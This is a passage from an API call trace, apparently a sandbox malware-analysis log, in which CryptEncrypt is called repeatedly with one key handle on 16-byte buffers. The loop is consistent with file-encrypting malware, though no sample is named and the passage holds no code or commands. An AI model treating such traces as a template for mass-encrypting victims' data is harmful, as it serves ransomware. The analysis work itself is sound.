dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.188] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.189] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.190] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, 